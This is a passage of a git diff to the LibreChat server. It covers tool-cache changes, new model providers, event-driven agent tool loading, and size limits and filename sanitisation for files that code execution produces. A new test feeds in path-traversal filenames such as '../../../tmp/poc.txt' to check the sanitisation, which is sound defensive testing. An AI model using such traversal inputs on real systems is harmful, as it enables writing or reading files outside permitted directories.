* @returns {Promise} The available tools object or null if not cached
*/
async function getCachedTools(options = {}) {
- const cache = getLogStores(CacheKeys.CONFIG_STORE);
+ const cache = getLogStores(CacheKeys.TOOL_CACHE);
const { userId, serverName } = options;
// Return MCP server-specific tools if requested
@@ -43,7 +43,7 @@ async function getCachedTools(options = {}) {
* @returns {Promise} Whether the operation was successful
*/
async function setCachedTools(tools, options = {}) {
- const cache = getLogStores(CacheKeys.CONFIG_STORE);
+ const cache = getLogStores(CacheKeys.TOOL_CACHE);
const { userId, serverName, ttl = Time.TWELVE_HOURS } = options;
// Cache by MCP server if specified (requires userId)
@@ -65,7 +65,7 @@ async function setCachedTools(tools, options = {}) {
* @returns {Promise}
*/
async function invalidateCachedTools(options = {}) {
- const cache = getLogStores(CacheKeys.CONFIG_STORE);
+ const cache = getLogStores(CacheKeys.TOOL_CACHE);
const { userId, serverName, invalidateGlobal = false } = options;
const keysToDelete = [];
@@ -89,7 +89,7 @@ async function invalidateCachedTools(options = {}) {
* @returns {Promise} The available tools for the server
*/
async function getMCPServerTools(userId, serverName) {
- const cache = getLogStores(CacheKeys.CONFIG_STORE);
+ const cache = getLogStores(CacheKeys.TOOL_CACHE);
const serverTools = await cache.get(ToolCacheKeys.MCP_SERVER(userId, serverName));
if (serverTools) {
diff --git a/api/server/services/Config/loadConfigModels.js b/api/server/services/Config/loadConfigModels.js
index 6354d10331..2bc83ecc3a 100644
--- a/api/server/services/Config/loadConfigModels.js
+++ b/api/server/services/Config/loadConfigModels.js
@@ -28,6 +28,11 @@ async function loadConfigModels(req) {
modelsConfig[EModelEndpoint.azureAssistants] = azureConfig.assistantModels;
}
+ const bedrockConfig = appConfig.endpoints?.[EModelEndpoint.bedrock];
+ if (bedrockConfig?.models && Array.isArray(bedrockConfig.models)) {
+ modelsConfig[EModelEndpoint.bedrock] = bedrockConfig.models;
+ }
+
if (!Array.isArray(appConfig.endpoints?.[EModelEndpoint.custom])) {
return modelsConfig;
}
diff --git a/api/server/services/Config/mcp.js b/api/server/services/Config/mcp.js
index 15ea62a028..cc4e98b59e 100644
--- a/api/server/services/Config/mcp.js
+++ b/api/server/services/Config/mcp.js
@@ -35,7 +35,7 @@ async function updateMCPServerTools({ userId, serverName, tools }) {
await setCachedTools(serverTools, { userId, serverName });
- const cache = getLogStores(CacheKeys.CONFIG_STORE);
+ const cache = getLogStores(CacheKeys.TOOL_CACHE);
await cache.delete(CacheKeys.TOOLS);
logger.debug(
`[MCP Cache] Updated ${tools.length} tools for server ${serverName} (user: ${userId})`,
@@ -61,7 +61,7 @@ async function mergeAppTools(appTools) {
const cachedTools = await getCachedTools();
const mergedTools = { ...cachedTools, ...appTools };
await setCachedTools(mergedTools);
- const cache = getLogStores(CacheKeys.CONFIG_STORE);
+ const cache = getLogStores(CacheKeys.TOOL_CACHE);
await cache.delete(CacheKeys.TOOLS);
logger.debug(`Merged ${count} app-level tools`);
} catch (error) {
diff --git a/api/server/services/Endpoints/agents/addedConvo.js b/api/server/services/Endpoints/agents/addedConvo.js
index 240622ed9f..25b1327991 100644
--- a/api/server/services/Endpoints/agents/addedConvo.js
+++ b/api/server/services/Endpoints/agents/addedConvo.js
@@ -31,6 +31,7 @@ setGetAgent(getAgent);
* @param {Function} params.loadTools - Function to load agent tools
* @param {Array} params.requestFiles - Request files
* @param {string} params.conversationId - The conversation ID
+ * @param {string} [params.parentMessageId] - The parent message ID for thread filtering
* @param {Set} params.allowedProviders - Set of allowed providers
* @param {Map} params.agentConfigs - Map of agent configs to add to
* @param {string} params.primaryAgentId - The primary agent ID
@@ -46,6 +47,7 @@ const processAddedConvo = async ({
loadTools,
requestFiles,
conversationId,
+ parentMessageId,
allowedProviders,
agentConfigs,
primaryAgentId,
@@ -53,16 +55,16 @@ const processAddedConvo = async ({
userMCPAuthMap,
}) => {
const addedConvo = endpointOption.addedConvo;
- logger.debug('[processAddedConvo] Called with addedConvo:', {
- hasAddedConvo: addedConvo != null,
- addedConvoEndpoint: addedConvo?.endpoint,
- addedConvoModel: addedConvo?.model,
- addedConvoAgentId: addedConvo?.agent_id,
- });
if (addedConvo == null) {
return { userMCPAuthMap };
}
+ logger.debug('[processAddedConvo] Processing added conversation', {
+ model: addedConvo.model,
+ agentId: addedConvo.agent_id,
+ endpoint: addedConvo.endpoint,
+ });
+
try {
const addedAgent = await loadAddedAgent({ req, conversation: addedConvo, primaryAgent });
if (!addedAgent) {
@@ -91,6 +93,7 @@ const processAddedConvo = async ({
loadTools,
requestFiles,
conversationId,
+ parentMessageId,
agent: addedAgent,
endpointOption,
allowedProviders,
@@ -99,9 +102,12 @@ const processAddedConvo = async ({
getConvoFiles,
getFiles: db.getFiles,
getUserKey: db.getUserKey,
+ getMessages: db.getMessages,
updateFilesUsage: db.updateFilesUsage,
+ getUserCodeFiles: db.getUserCodeFiles,
getUserKeyValues: db.getUserKeyValues,
getToolFilesByIds: db.getToolFilesByIds,
+ getCodeGeneratedFiles: db.getCodeGeneratedFiles,
},
);
diff --git a/api/server/services/Endpoints/agents/initialize.js b/api/server/services/Endpoints/agents/initialize.js
index a691480119..e71270ef85 100644
--- a/api/server/services/Endpoints/agents/initialize.js
+++ b/api/server/services/Endpoints/agents/initialize.js
@@ -19,8 +19,8 @@ const {
createToolEndCallback,
getDefaultHandlers,
} = require('~/server/controllers/agents/callbacks');
+const { loadAgentTools, loadToolsForExecution } = require('~/server/services/ToolService');
const { getModelsConfig } = require('~/server/controllers/ModelController');
-const { loadAgentTools } = require('~/server/services/ToolService');
const AgentClient = require('~/server/controllers/agents/client');
const { getConvoFiles } = require('~/models/Conversation');
const { processAddedConvo } = require('./addedConvo');
@@ -32,8 +32,10 @@ const db = require('~/models');
* Creates a tool loader function for the agent.
* @param {AbortSignal} signal - The abort signal
* @param {string | null} [streamId] - The stream ID for resumable mode
+ * @param {boolean} [definitionsOnly=false] - When true, returns only serializable
+ * tool definitions without creating full tool instances (for event-driven mode)
*/
-function createToolLoader(signal, streamId = null) {
+function createToolLoader(signal, streamId = null, definitionsOnly = false) {
/**
* @param {object} params
* @param {ServerRequest} params.req
@@ -44,21 +46,33 @@ function createToolLoader(signal, streamId = null) {
* @param {string} params.model
* @param {AgentToolResources} params.tool_resources
* @returns {Promise<{
- * tools: StructuredTool[],
- * toolContextMap: Record,
- * userMCPAuthMap?: Record>
+ * tools?: StructuredTool[],
+ * toolContextMap: Record,
+ * toolDefinitions?: import('@librechat/agents').LCTool[],
+ * userMCPAuthMap?: Record>,
+ * toolRegistry?: import('@librechat/agents').LCToolRegistry
* } | undefined>}
*/
- return async function loadTools({ req, res, agentId, tools, provider, model, tool_resources }) {
- const agent = { id: agentId, tools, provider, model };
+ return async function loadTools({
+ req,
+ res,
+ tools,
+ model,
+ agentId,
+ provider,
+ tool_options,
+ tool_resources,
+ }) {
+ const agent = { id: agentId, tools, provider, model, tool_options };
try {
return await loadAgentTools({
req,
res,
agent,
signal,
- tool_resources,
streamId,
+ tool_resources,
+ definitionsOnly,
});
} catch (error) {
logger.error('Error loading tools for agent ' + agentId, error);
@@ -81,8 +95,47 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => {
const artifactPromises = [];
const { contentParts, aggregateContent } = createContentAggregator();
const toolEndCallback = createToolEndCallback({ req, res, artifactPromises, streamId });
+
+ /**
+ * Agent context store - populated after initialization, accessed by callback via closure.
+ * Maps agentId -> { userMCPAuthMap, agent, tool_resources, toolRegistry, openAIApiKey }
+ * @type {Map>,
+ * agent?: object,
+ * tool_resources?: object,
+ * toolRegistry?: import('@librechat/agents').LCToolRegistry,
+ * openAIApiKey?: string
+ * }>}
+ */
+ const agentToolContexts = new Map();
+
+ const toolExecuteOptions = {
+ loadTools: async (toolNames, agentId) => {
+ const ctx = agentToolContexts.get(agentId) ?? {};
+ logger.debug(`[ON_TOOL_EXECUTE] ctx found: ${!!ctx.userMCPAuthMap}, agent: ${ctx.agent?.id}`);
+ logger.debug(`[ON_TOOL_EXECUTE] toolRegistry size: ${ctx.toolRegistry?.size ?? 'undefined'}`);
+
+ const result = await loadToolsForExecution({
+ req,
+ res,
+ signal,
+ streamId,
+ toolNames,
+ agent: ctx.agent,
+ toolRegistry: ctx.toolRegistry,
+ userMCPAuthMap: ctx.userMCPAuthMap,
+ tool_resources: ctx.tool_resources,
+ });
+
+ logger.debug(`[ON_TOOL_EXECUTE] loaded ${result.loadedTools?.length ?? 0} tools`);
+ return result;
+ },
+ toolEndCallback,
+ };
+
const eventHandlers = getDefaultHandlers({
res,
+ toolExecuteOptions,
aggregateContent,
toolEndCallback,
collectedUsage,
@@ -115,11 +168,14 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => {
const agentConfigs = new Map();
const allowedProviders = new Set(appConfig?.endpoints?.[EModelEndpoint.agents]?.allowedProviders);
- const loadTools = createToolLoader(signal, streamId);
+ /** Event-driven mode: only load tool definitions, not full instances */
+ const loadTools = createToolLoader(signal, streamId, true);
/** @type {Array} */
const requestFiles = req.body.files ?? [];
/** @type {string} */
const conversationId = req.body.conversationId;
+ /** @type {string | undefined} */
+ const parentMessageId = req.body.parentMessageId;
const primaryConfig = await initializeAgent(
{
@@ -128,6 +184,7 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => {
loadTools,
requestFiles,
conversationId,
+ parentMessageId,
agent: primaryAgent,
endpointOption,
allowedProviders,
@@ -137,12 +194,25 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => {
getConvoFiles,
getFiles: db.getFiles,
getUserKey: db.getUserKey,
+ getMessages: db.getMessages,
updateFilesUsage: db.updateFilesUsage,
getUserKeyValues: db.getUserKeyValues,
+ getUserCodeFiles: db.getUserCodeFiles,
getToolFilesByIds: db.getToolFilesByIds,
+ getCodeGeneratedFiles: db.getCodeGeneratedFiles,
},
);
+ logger.debug(
+ `[initializeClient] Storing tool context for ${primaryConfig.id}: ${primaryConfig.toolDefinitions?.length ?? 0} tools, registry size: ${primaryConfig.toolRegistry?.size ?? '0'}`,
+ );
+ agentToolContexts.set(primaryConfig.id, {
+ agent: primaryAgent,
+ toolRegistry: primaryConfig.toolRegistry,
+ userMCPAuthMap: primaryConfig.userMCPAuthMap,
+ tool_resources: primaryConfig.tool_resources,
+ });
+
const agent_ids = primaryConfig.agent_ids;
let userMCPAuthMap = primaryConfig.userMCPAuthMap;
@@ -179,6 +249,7 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => {
loadTools,
requestFiles,
conversationId,
+ parentMessageId,
endpointOption,
allowedProviders,
},
@@ -186,16 +257,29 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => {
getConvoFiles,
getFiles: db.getFiles,
getUserKey: db.getUserKey,
+ getMessages: db.getMessages,
updateFilesUsage: db.updateFilesUsage,
getUserKeyValues: db.getUserKeyValues,
+ getUserCodeFiles: db.getUserCodeFiles,
getToolFilesByIds: db.getToolFilesByIds,
+ getCodeGeneratedFiles: db.getCodeGeneratedFiles,
},
);
+
if (userMCPAuthMap != null) {
Object.assign(userMCPAuthMap, config.userMCPAuthMap ?? {});
} else {
userMCPAuthMap = config.userMCPAuthMap;
}
+
+ /** Store handoff agent's tool context for ON_TOOL_EXECUTE callback */
+ agentToolContexts.set(agentId, {
+ agent,
+ toolRegistry: config.toolRegistry,
+ userMCPAuthMap: config.userMCPAuthMap,
+ tool_resources: config.tool_resources,
+ });
+
agentConfigs.set(agentId, config);
return agent;
}
@@ -222,6 +306,7 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => {
}
} catch (err) {
logger.error(`[initializeClient] Error processing agent ${agentId}:`, err);
+ skippedAgentIds.add(agentId);
}
}
@@ -231,7 +316,12 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => {
if (checkAgentInit(agentId)) {
continue;
}
- await processAgent(agentId);
+ try {
+ await processAgent(agentId);
+ } catch (err) {
+ logger.error(`[initializeClient] Error processing chain agent ${agentId}:`, err);
+ skippedAgentIds.add(agentId);
+ }
}
const chain = await createSequentialChainEdges([primaryConfig.id].concat(agent_ids), '{convo}');
collectEdges(chain);
@@ -243,17 +333,18 @@ const initializeClient = async ({ req, res, signal, endpointOption }) => {
const { userMCPAuthMap: updatedMCPAuthMap } = await processAddedConvo({
req,
res,
- endpointOption,
- modelsConfig,
- logViolation,
loadTools,
+ logViolation,
+ modelsConfig,
requestFiles,
- conversationId,
- allowedProviders,
agentConfigs,
- primaryAgentId: primaryConfig.id,
primaryAgent,
+ endpointOption,
userMCPAuthMap,
+ conversationId,
+ parentMessageId,
+ allowedProviders,
+ primaryAgentId: primaryConfig.id,
});
if (updatedMCPAuthMap) {
diff --git a/api/server/services/Endpoints/agents/title.js b/api/server/services/Endpoints/agents/title.js
index 1d6d359bd6..e31cdeea11 100644
--- a/api/server/services/Endpoints/agents/title.js
+++ b/api/server/services/Endpoints/agents/title.js
@@ -71,7 +71,7 @@ const addTitle = async (req, { text, response, client }) => {
conversationId: response.conversationId,
title,
},
- { context: 'api/server/services/Endpoints/agents/title.js' },
+ { context: 'api/server/services/Endpoints/agents/title.js', noUpsert: true },
);
} catch (error) {
logger.error('Error generating title:', error);
diff --git a/api/server/services/Endpoints/assistants/title.js b/api/server/services/Endpoints/assistants/title.js
index a34de4d1af..1fae68cf54 100644
--- a/api/server/services/Endpoints/assistants/title.js
+++ b/api/server/services/Endpoints/assistants/title.js
@@ -69,7 +69,7 @@ const addTitle = async (req, { text, responseText, conversationId }) => {
conversationId,
title,
},
- { context: 'api/server/services/Endpoints/assistants/addTitle.js' },
+ { context: 'api/server/services/Endpoints/assistants/addTitle.js', noUpsert: true },
);
} catch (error) {
logger.error('[addTitle] Error generating title:', error);
@@ -81,7 +81,7 @@ const addTitle = async (req, { text, responseText, conversationId }) => {
conversationId,
title: fallbackTitle,
},
- { context: 'api/server/services/Endpoints/assistants/addTitle.js' },
+ { context: 'api/server/services/Endpoints/assistants/addTitle.js', noUpsert: true },
);
}
};
diff --git a/api/server/services/Endpoints/azureAssistants/initialize.js b/api/server/services/Endpoints/azureAssistants/initialize.js
index 6a9118ea8a..e81f0bcd8a 100644
--- a/api/server/services/Endpoints/azureAssistants/initialize.js
+++ b/api/server/services/Endpoints/azureAssistants/initialize.js
@@ -128,7 +128,6 @@ const initializeClient = async ({ req, res, version, endpointOption, initAppClie
const groupName = modelGroupMap[modelName].group;
clientOptions.addParams = azureConfig.groupMap[groupName].addParams;
clientOptions.dropParams = azureConfig.groupMap[groupName].dropParams;
- clientOptions.forcePrompt = azureConfig.groupMap[groupName].forcePrompt;
clientOptions.reverseProxyUrl = baseURL ?? clientOptions.reverseProxyUrl;
clientOptions.headers = opts.defaultHeaders;
diff --git a/api/server/services/Endpoints/index.js b/api/server/services/Endpoints/index.js
index 034162702d..3cabfe1c58 100644
--- a/api/server/services/Endpoints/index.js
+++ b/api/server/services/Endpoints/index.js
@@ -12,7 +12,7 @@ const initGoogle = require('~/server/services/Endpoints/google/initialize');
* @returns {boolean} - True if the provider is a known custom provider, false otherwise
*/
function isKnownCustomProvider(provider) {
- return [Providers.XAI, Providers.DEEPSEEK, Providers.OPENROUTER].includes(
+ return [Providers.XAI, Providers.DEEPSEEK, Providers.OPENROUTER, Providers.MOONSHOT].includes(
provider?.toLowerCase() || '',
);
}
@@ -20,6 +20,7 @@ function isKnownCustomProvider(provider) {
const providerConfigMap = {
[Providers.XAI]: initCustom,
[Providers.DEEPSEEK]: initCustom,
+ [Providers.MOONSHOT]: initCustom,
[Providers.OPENROUTER]: initCustom,
[EModelEndpoint.openAI]: initOpenAI,
[EModelEndpoint.google]: initGoogle,
diff --git a/api/server/services/Files/Azure/crud.js b/api/server/services/Files/Azure/crud.js
index 25bd749276..8f681bd06c 100644
--- a/api/server/services/Files/Azure/crud.js
+++ b/api/server/services/Files/Azure/crud.js
@@ -4,7 +4,7 @@ const mime = require('mime');
const axios = require('axios');
const fetch = require('node-fetch');
const { logger } = require('@librechat/data-schemas');
-const { getAzureContainerClient } = require('@librechat/api');
+const { getAzureContainerClient, deleteRagFile } = require('@librechat/api');
const defaultBasePath = 'images';
const { AZURE_STORAGE_PUBLIC_ACCESS = 'true', AZURE_CONTAINER_NAME = 'files' } = process.env;
@@ -102,6 +102,8 @@ async function getAzureURL({ fileName, basePath = defaultBasePath, userId, conta
* @param {MongoFile} params.file - The file object.
*/
async function deleteFileFromAzure(req, file) {
+ await deleteRagFile({ userId: req.user.id, file });
+
try {
const containerClient = await getAzureContainerClient(AZURE_CONTAINER_NAME);
const blobPath = file.filepath.split(`${AZURE_CONTAINER_NAME}/`)[1];
diff --git a/api/server/services/Files/Code/__tests__/process-traversal.spec.js b/api/server/services/Files/Code/__tests__/process-traversal.spec.js
new file mode 100644
index 0000000000..2db366d06b
--- /dev/null
+++ b/api/server/services/Files/Code/__tests__/process-traversal.spec.js
@@ -0,0 +1,124 @@
+jest.mock('uuid', () => ({ v4: jest.fn(() => 'mock-uuid') }));
+
+jest.mock('@librechat/data-schemas', () => ({
+ logger: { warn: jest.fn(), debug: jest.fn(), error: jest.fn() },
+}));
+
+jest.mock('@librechat/agents', () => ({
+ getCodeBaseURL: jest.fn(() => 'http://localhost:8000'),
+}));
+
+const mockSanitizeFilename = jest.fn();
+
+jest.mock('@librechat/api', () => ({
+ logAxiosError: jest.fn(),
+ getBasePath: jest.fn(() => ''),
+ sanitizeFilename: mockSanitizeFilename,
+}));
+
+jest.mock('librechat-data-provider', () => ({
+ ...jest.requireActual('librechat-data-provider'),
+ mergeFileConfig: jest.fn(() => ({ serverFileSizeLimit: 100 * 1024 * 1024 })),
+ getEndpointFileConfig: jest.fn(() => ({
+ fileSizeLimit: 100 * 1024 * 1024,
+ supportedMimeTypes: ['*/*'],
+ })),
+ fileConfig: { checkType: jest.fn(() => true) },
+}));
+
+jest.mock('~/models', () => ({
+ createFile: jest.fn().mockResolvedValue({}),
+ getFiles: jest.fn().mockResolvedValue([]),
+ updateFile: jest.fn(),
+ claimCodeFile: jest.fn().mockResolvedValue({ file_id: 'mock-uuid', usage: 0 }),
+}));
+
+const mockSaveBuffer = jest.fn().mockResolvedValue('/uploads/user123/mock-uuid__output.csv');
+
+jest.mock('~/server/services/Files/strategies', () => ({
+ getStrategyFunctions: jest.fn(() => ({
+ saveBuffer: mockSaveBuffer,
+ })),
+}));
+
+jest.mock('~/server/services/Files/permissions', () => ({
+ filterFilesByAgentAccess: jest.fn().mockResolvedValue([]),
+}));
+
+jest.mock('~/server/services/Files/images/convert', () => ({
+ convertImage: jest.fn(),
+}));
+
+jest.mock('~/server/utils', () => ({
+ determineFileType: jest.fn().mockResolvedValue({ mime: 'text/csv' }),
+}));
+
+jest.mock('axios', () =>
+ jest.fn().mockResolvedValue({
+ data: Buffer.from('file-content'),
+ }),
+);
+
+const { createFile } = require('~/models');
+const { processCodeOutput } = require('../process');
+
+const baseParams = {
+ req: {
+ user: { id: 'user123' },
+ config: {
+ fileStrategy: 'local',
+ imageOutputType: 'webp',
+ fileConfig: {},
+ },
+ },
+ id: 'code-file-id',
+ apiKey: 'test-key',
+ toolCallId: 'tool-1',
+ conversationId: 'conv-1',
+ messageId: 'msg-1',
+ session_id: 'session-1',
+};
+
+describe('processCodeOutput path traversal protection', () => {
+ beforeEach(() => {
+ jest.clearAllMocks();
+ });
+
+ test('sanitizeFilename is called with the raw artifact name', async () => {
+ mockSanitizeFilename.mockReturnValueOnce('output.csv');
+ await processCodeOutput({ ...baseParams, name: 'output.csv' });
+ expect(mockSanitizeFilename).toHaveBeenCalledWith('output.csv');
+ });
+
+ test('sanitized name is used in saveBuffer fileName', async () => {
+ mockSanitizeFilename.mockReturnValueOnce('sanitized-name.txt');
+ await processCodeOutput({ ...baseParams, name: '../../../tmp/poc.txt' });
+
+ expect(mockSanitizeFilename).toHaveBeenCalledWith('../../../tmp/poc.txt');
+ const call = mockSaveBuffer.mock.calls[0][0];
+ expect(call.fileName).toBe('mock-uuid__sanitized-name.txt');
+ });
+
+ test('sanitized name is stored as filename in the file record', async () => {
+ mockSanitizeFilename.mockReturnValueOnce('safe-output.csv');
+ await processCodeOutput({ ...baseParams, name: 'unsafe/../../output.csv' });
+
+ const fileArg = createFile.mock.calls[0][0];
+ expect(fileArg.filename).toBe('safe-output.csv');
+ });
+
+ test('sanitized name is used for image file records', async () => {
+ const { convertImage } = require('~/server/services/Files/images/convert');
+ convertImage.mockResolvedValueOnce({
+ filepath: '/images/user123/mock-uuid.webp',
+ bytes: 100,
+ });
+
+ mockSanitizeFilename.mockReturnValueOnce('safe-chart.png');
+ await processCodeOutput({ ...baseParams, name: '../../../chart.png' });
+
+ expect(mockSanitizeFilename).toHaveBeenCalledWith('../../../chart.png');
+ const fileArg = createFile.mock.calls[0][0];
+ expect(fileArg.filename).toBe('safe-chart.png');
+ });
+});
diff --git a/api/server/services/Files/Code/process.js b/api/server/services/Files/Code/process.js
index 15df6de0d6..e878b00255 100644
--- a/api/server/services/Files/Code/process.js
+++ b/api/server/services/Files/Code/process.js
@@ -3,30 +3,71 @@ const { v4 } = require('uuid');
const axios = require('axios');
const { logger } = require('@librechat/data-schemas');
const { getCodeBaseURL } = require('@librechat/agents');
-const { logAxiosError, getBasePath } = require('@librechat/api');
+const { logAxiosError, getBasePath, sanitizeFilename } = require('@librechat/api');
const {
Tools,
+ megabyte,
+ fileConfig,
FileContext,
FileSources,
imageExtRegex,
+ inferMimeType,
EToolResources,
+ EModelEndpoint,
+ mergeFileConfig,
+ getEndpointFileConfig,
} = require('librechat-data-provider');
const { filterFilesByAgentAccess } = require('~/server/services/Files/permissions');
+const { createFile, getFiles, updateFile, claimCodeFile } = require('~/models');
const { getStrategyFunctions } = require('~/server/services/Files/strategies');
const { convertImage } = require('~/server/services/Files/images/convert');
-const { createFile, getFiles, updateFile } = require('~/models');
+const { determineFileType } = require('~/server/utils');
/**
- * Process OpenAI image files, convert to target format, save and return file metadata.
+ * Creates a fallback download URL response when file cannot be processed locally.
+ * Used when: file exceeds size limit, storage strategy unavailable, or download error occurs.
+ * @param {Object} params - The parameters.
+ * @param {string} params.name - The filename.
+ * @param {string} params.session_id - The code execution session ID.
+ * @param {string} params.id - The file ID from the code environment.
+ * @param {string} params.conversationId - The current conversation ID.
+ * @param {string} params.toolCallId - The tool call ID that generated the file.
+ * @param {string} params.messageId - The current message ID.
+ * @param {number} params.expiresAt - Expiration timestamp (24 hours from creation).
+ * @returns {Object} Fallback response with download URL.
+ */
+const createDownloadFallback = ({
+ id,
+ name,
+ messageId,
+ expiresAt,
+ session_id,
+ toolCallId,
+ conversationId,
+}) => {
+ const basePath = getBasePath();
+ return {
+ filename: name,
+ filepath: `${basePath}/api/files/code/download/${session_id}/${id}`,
+ expiresAt,
+ conversationId,
+ toolCallId,
+ messageId,
+ };
+};
+
+/**
+ * Process code execution output files - downloads and saves both images and non-image files.
+ * All files are saved to local storage with fileIdentifier metadata for code env re-upload.
* @param {ServerRequest} params.req - The Express request object.
- * @param {string} params.id - The file ID.
+ * @param {string} params.id - The file ID from the code environment.
* @param {string} params.name - The filename.
* @param {string} params.apiKey - The code execution API key.
* @param {string} params.toolCallId - The tool call ID that generated the file.
* @param {string} params.session_id - The code execution session ID.
* @param {string} params.conversationId - The current conversation ID.
* @param {string} params.messageId - The current message ID.
- * @returns {Promise} The file metadata or undefined if an error occurs.
+ * @returns {Promise} The file metadata or undefined if an error occurs.
*/
const processCodeOutput = async ({
req,
@@ -41,19 +82,15 @@ const processCodeOutput = async ({
const appConfig = req.config;
const currentDate = new Date();
const baseURL = getCodeBaseURL();
- const basePath = getBasePath();
- const fileExt = path.extname(name);
- if (!fileExt || !imageExtRegex.test(name)) {
- return {
- filename: name,
- filepath: `${basePath}/api/files/code/download/${session_id}/${id}`,
- /** Note: expires 24 hours after creation */
- expiresAt: currentDate.getTime() + 86400000,
- conversationId,
- toolCallId,
- messageId,
- };
- }
+ const fileExt = path.extname(name).toLowerCase();
+ const isImage = fileExt && imageExtRegex.test(name);
+
+ const mergedFileConfig = mergeFileConfig(appConfig.fileConfig);
+ const endpointFileConfig = getEndpointFileConfig({
+ fileConfig: mergedFileConfig,
+ endpoint: EModelEndpoint.agents,
+ });
+ const fileSizeLimit = endpointFileConfig.fileSizeLimit ?? mergedFileConfig.serverFileSizeLimit;
try {
const formattedDate = currentDate.toISOString();
@@ -70,29 +107,155 @@ const processCodeOutput = async ({
const buffer = Buffer.from(response.data, 'binary');
- const file_id = v4();
- const _file = await convertImage(req, buffer, 'high', `${file_id}${fileExt}`);
- const file = {
- ..._file,
- file_id,
- usage: 1,
+ // Enforce file size limit
+ if (buffer.length > fileSizeLimit) {
+ logger.warn(
+ `[processCodeOutput] File "${name}" (${(buffer.length / megabyte).toFixed(2)} MB) exceeds size limit of ${(fileSizeLimit / megabyte).toFixed(2)} MB, falling back to download URL`,
+ );
+ return createDownloadFallback({
+ id,
+ name,
+ messageId,
+ toolCallId,
+ session_id,
+ conversationId,
+ expiresAt: currentDate.getTime() + 86400000,
+ });
+ }
+
+ const fileIdentifier = `${session_id}/${id}`;
+
+ /**
+ * Atomically claim a file_id for this (filename, conversationId, context) tuple.
+ * Uses $setOnInsert so concurrent calls for the same filename converge on
+ * a single record instead of creating duplicates (TOCTOU race fix).
+ */
+ const newFileId = v4();
+ const claimed = await claimCodeFile({
filename: name,
conversationId,
+ file_id: newFileId,
user: req.user.id,
- type: `image/${appConfig.imageOutputType}`,
- createdAt: formattedDate,
+ });
+ const file_id = claimed.file_id;
+ const isUpdate = file_id !== newFileId;
+
+ if (isUpdate) {
+ logger.debug(
+ `[processCodeOutput] Updating existing file "${name}" (${file_id}) instead of creating duplicate`,
+ );
+ }
+
+ const safeName = sanitizeFilename(name);
+ if (safeName !== name) {
+ logger.warn(
+ `[processCodeOutput] Filename sanitized: "${name}" -> "${safeName}" | conv=${conversationId}`,
+ );
+ }
+
+ if (isImage) {
+ const usage = isUpdate ? (claimed.usage ?? 0) + 1 : 1;
+ const _file = await convertImage(req, buffer, 'high', `${file_id}${fileExt}`);
+ const filepath = usage > 1 ? `${_file.filepath}?v=${Date.now()}` : _file.filepath;
+ const file = {
+ ..._file,
+ filepath,
+ file_id,
+ messageId,
+ usage,
+ filename: safeName,
+ conversationId,
+ user: req.user.id,
+ type: `image/${appConfig.imageOutputType}`,
+ createdAt: isUpdate ? claimed.createdAt : formattedDate,
+ updatedAt: formattedDate,
+ source: appConfig.fileStrategy,
+ context: FileContext.execute_code,
+ metadata: { fileIdentifier },
+ };
+ await createFile(file, true);
+ return Object.assign(file, { messageId, toolCallId });
+ }
+
+ const { saveBuffer } = getStrategyFunctions(appConfig.fileStrategy);
+ if (!saveBuffer) {
+ logger.warn(
+ `[processCodeOutput] saveBuffer not available for strategy ${appConfig.fileStrategy}, falling back to download URL`,
+ );
+ return createDownloadFallback({
+ id,
+ name,
+ messageId,
+ toolCallId,
+ session_id,
+ conversationId,
+ expiresAt: currentDate.getTime() + 86400000,
+ });
+ }
+
+ const detectedType = await determineFileType(buffer, true);
+ const mimeType = detectedType?.mime || inferMimeType(name, '') || 'application/octet-stream';
+
+ /** Check MIME type support - for code-generated files, we're lenient but log unsupported types */
+ const isSupportedMimeType = fileConfig.checkType(
+ mimeType,
+ endpointFileConfig.supportedMimeTypes,
+ );
+ if (!isSupportedMimeType) {
+ logger.warn(
+ `[processCodeOutput] File "${name}" has unsupported MIME type "${mimeType}", proceeding with storage but may not be usable as tool resource`,
+ );
+ }
+
+ const fileName = `${file_id}__${safeName}`;
+ const filepath = await saveBuffer({
+ userId: req.user.id,
+ buffer,
+ fileName,
+ basePath: 'uploads',
+ });
+
+ const file = {
+ file_id,
+ filepath,
+ messageId,
+ object: 'file',
+ filename: safeName,
+ type: mimeType,
+ conversationId,
+ user: req.user.id,
+ bytes: buffer.length,
updatedAt: formattedDate,
+ metadata: { fileIdentifier },
source: appConfig.fileStrategy,
context: FileContext.execute_code,
+ usage: isUpdate ? (claimed.usage ?? 0) + 1 : 1,
+ createdAt: isUpdate ? claimed.createdAt : formattedDate,
};
- createFile(file, true);
- /** Note: `messageId` & `toolCallId` are not part of file DB schema; message object records associated file ID */
+
+ await createFile(file, true);
return Object.assign(file, { messageId, toolCallId });
} catch (error) {
+ if (error?.message === 'Path traversal detected in filename') {
+ logger.warn(
+ `[processCodeOutput] Path traversal blocked for file "${name}" | conv=${conversationId}`,
+ );
+ }
logAxiosError({
- message: 'Error downloading code environment file',
+ message: 'Error downloading/processing code environment file',
error,
});
+
+ // Fallback for download errors - return download URL so user can still manually download
+ return createDownloadFallback({
+ id,
+ name,
+ messageId,
+ toolCallId,
+ session_id,
+ conversationId,
+ expiresAt: currentDate.getTime() + 86400000,
+ });
}
};
@@ -204,9 +367,16 @@ const primeFiles = async (options, apiKey) => {
if (!toolContext) {
toolContext = `- Note: The following files are available in the "${Tools.execute_code}" tool environment:`;
}
- toolContext += `\n\t- /mnt/data/${file.filename}${
- agentResourceIds.has(file.file_id) ? '' : ' (just attached by user)'
- }`;
+
+ let fileSuffix = '';
+ if (!agentResourceIds.has(file.file_id)) {
+ fileSuffix =
+ file.context === FileContext.execute_code
+ ? ' (from previous code execution)'
+ : ' (attached by user)';
+ }
+
+ toolContext += `\n\t- /mnt/data/${file.filename}${fileSuffix}`;
files.push({
id,
session_id,
diff --git a/api/server/services/Files/Code/process.spec.js b/api/server/services/Files/Code/process.spec.js
new file mode 100644
index 0000000000..b89a6c6307
--- /dev/null
+++ b/api/server/services/Files/Code/process.spec.js
@@ -0,0 +1,412 @@
+// Configurable file size limit for tests - use a getter so it can be changed per test
+const fileSizeLimitConfig = { value: 20 * 1024 * 1024 }; // Default 20MB
+
+// Mock librechat-data-provider with configurable file size limit
+jest.mock('librechat-data-provider', () => {
